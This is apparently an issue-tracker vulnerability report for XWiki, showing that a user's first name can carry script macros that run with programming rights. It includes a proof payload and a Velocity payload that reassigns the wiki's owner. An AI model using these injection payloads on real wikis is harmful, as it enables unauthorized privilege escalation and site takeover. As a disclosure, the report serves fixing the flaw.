Privilege escalation to programming rights via user's first name

Steps to reproduce

1. Log in as a user without script rights.
2. Set your first name to

{{cache id="userProfile"}}{{groovy}}println("Hello from groovy!"){{/groovy}}{{/cache}}

Expected result:

{{cache id="userProfile"}}{{groovy}}println("Hello from groovy!"){{/groovy}}{{/cache}}

is displayed as first name.

Actual result:

The username in the profile is Hello from groovy!

This demonstrates a privilege escalation attack to programming rights. I don't know yet why or how this works as this was primarily a surprise result while trying to reproduce another vulnerability.

I've also verified that you can actually do dangerous stuff, for example

{{async async="true" cached="false" context="doc.reference"}}{{velocity}}#set($descriptor = $services.wiki.currentWikiDescriptor)) #set($void = $descriptor.setOwnerId("XWiki.NewOwner")) #set($void = $services.wiki.saveDescriptor($descriptor)){{/velocity}}{{/async}}

sets the wiki's owner to the given user id.

The affects version is only the version I reproduced the issue on, this is quite likely much older.